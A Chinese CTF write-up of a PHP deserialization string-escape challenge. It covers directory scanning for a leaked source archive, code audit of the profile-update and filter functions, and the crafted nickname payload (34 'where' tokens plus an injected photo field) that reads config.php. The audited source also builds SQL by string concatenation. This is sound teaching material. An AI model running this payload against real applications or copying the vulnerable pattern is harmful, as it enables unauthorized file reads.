0x00 知识点
- 网站目录的扫描(源码泄露)
- 代码审计
- PHP反序列化字符逃逸
0x01 知识点详解
- 网站目录扫描工具都是那几种?
答:这里不单单是指常规的御剑,还包括dirsearch,dirb,nikto等工具,一定要多积累一些这样的工具,不然遇到这种同样的源码泄露,或者有robots.txt文件的题都没法下手。 - 什么是PHP反序列化字符逃逸?
答:这里引用一个大佬的例子,感觉很是清晰明了,之后我也会自己再详细学习。
序列化
<?php
$a = array('123', 'abc', 'defg');
var_dump(serialize($a));
?>
结果
string(49) "a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"
反序列化
<?php
//$a = array('123', 'abc', 'defg');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}';
var_dump(unserialize($b));
?>
运行结果
array(3) { [0]=> string(3) "123" [1]=> string(3) "abc" [2]=> string(4) "defg" }
我们可以看到在后端中,反序列化是一";}结束的,如果我们把";}带入需要反序列化的字符串中(除了结尾处),是不是就能让反序列化提前结束后面的内容就丢弃了呢?
我们把第二个值abc换成abc";i:2;s:5:"qwert";}
<?php
//$a = array('123', 'abc', 'defg');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:5:"qwert";}";i:2;s:4:"defg";}';
var_dump(unserialize($b));
?>
运行结果
array(3) { [0]=> string(3) "123" [1]=> string(3) "abc" [2]=> string(5) "qwert" }
成功的反序列化出我们自己定义的内容,丢弃了原先的内容(i:2;s:4:"defg")
0x02 解题思路
- 打开网站一看就发现了一个小猫咪的登录页面
这里通过网站目录扫描可以发现源码泄露,也就是www.zip文件,将源码下载下来后,进行代码审计。 - 这里我们就挑重要的代码进行审计了
第一个就是update.php文件
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');//可以看出这里用了一堆正则表达式来过滤我们提交的数据,而且第三个正则表达式和前面两个不一样,这里判断了nickname是否为字符还有长度是否超过10。如果我们传入的nickname是一个数组,绕过长度的限制,则可以绕过这正则表达式,是我们不会die出。
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));//注意这里使用了序列化函数,一般题目中出现这个函数,都要考虑反序列化方面的解题方法,这里我们跟着update_profile函数跳转到class.php文件。
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>UPDATE</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Please Update Your Profile</h3>
<label>Phone:</label>
<input type="text" name="phone" style="height:30px"class="span3"/>
<label>Email:</label>
<input type="text" name="email" style="height:30px"class="span3"/>
<label>Nickname:</label>
<input type="text" name="nickname" style="height:30px" class="span3">
<label for="file">Photo:</label>
<input type="file" name="photo" style="height:30px"class="span3"/>
<button type="submit" class="btn btn-primary">UPDATE</button>
</form>
</div>
</body>
</html>
<?php
}
?>
class.php
<?php
require('config.php');
class user extends mysql{
private $table = 'users';
public function is_exists($username) {
$username = parent::filter($username);
$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) { //找到这个函数了,继续往下看
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {//调用了魔法函数
return __class__;
}
}
class mysql {
private $link = null;
public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");
return $this->link;
}
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where'); //注意这里定义的非法值
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
} //这里将非法值替换成了hacker
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);
这俩个文件的意思就是先正则匹配,之后将参数序列化,最后替换里边的非法值。
profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);//将传参反序列化出来
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));//这里进行了文件读取,也就是说photo将是我们可以操作的参数
?>
<!DOCTYPE html>
<html>
<head>
<title>Profile</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Hi <?php echo $nickname;?></h3>
<label>Phone: <?php echo $phone;?></label>
<label>Email: <?php echo $email;?></label>
</div>
</body>
</html>
<?php
}
?>
config.php
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';//flag在这里
?>
那么思路很明显了我们构造包含config.php的序列化字符串,利用字符串逃逸,在profile.php中读取出来。
-
首先我们的反序列化字符逃逸,序列化的字符是可控的,还有前面的长度是可控的。但update.php将参数序列化,我们可控变量的长度就已经写死了,怎么才能去控制呢。这里就要用到前面class.php中将非法值替换为hacker这一步了。通过将‘select‘, ‘insert‘, ‘update‘, ‘delete‘, ‘where‘替换成‘hacker‘,当我们写入where替换成hacker之后字符串实际的长度就+1,因此实际的长度大于序列化固定的长度(变量前面‘s’里的值)。利用反序列化字符串逃逸,反序列化时只能将字符串中nickname前面的s后面长度的字符串反序列化成功,这个是传参的时候就固定好了。剩下的字符串我们构造成class.php因为里面包含了flag,并且让他在photo位置上,然后把photo给扔掉,这样在profile.php中读取的photo就是我们构造的config.php了,也就是读取到了flag。
也就是说利用这个替换,使得实际长度增长,将我们认为构造的带有config.php的序列化字符串放到原来photo所在的位置,并且闭合,使序列化字符串闭合。
所以我们这里就需要";}s:5:"photo";s:10:"config.php";}
将这么一串我们自己构造的字符串插入其中,由于这串字符串的总长度为34,所以,我们就需要在其前加34个where来延长这个长度,之后将这个参数传进去,就可以去profile.php页面读取flag了。 -
首先访问register.php页面随便注册一个账号并登录
-
之后就会跳转到update.php页面,这里就需要你填写信息这里注意你填写的信息好符合对应的格式,不然你总会更信息失败。之后抓包
接下来因为是要把photo的值挤出去,所以就要photo前的参数也就是nickname
将nickname改为nickname[]数组绕过长度检测,之后修改nickname里的内容
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
- 放包后进入profile.php查看源码
将这里的base64解码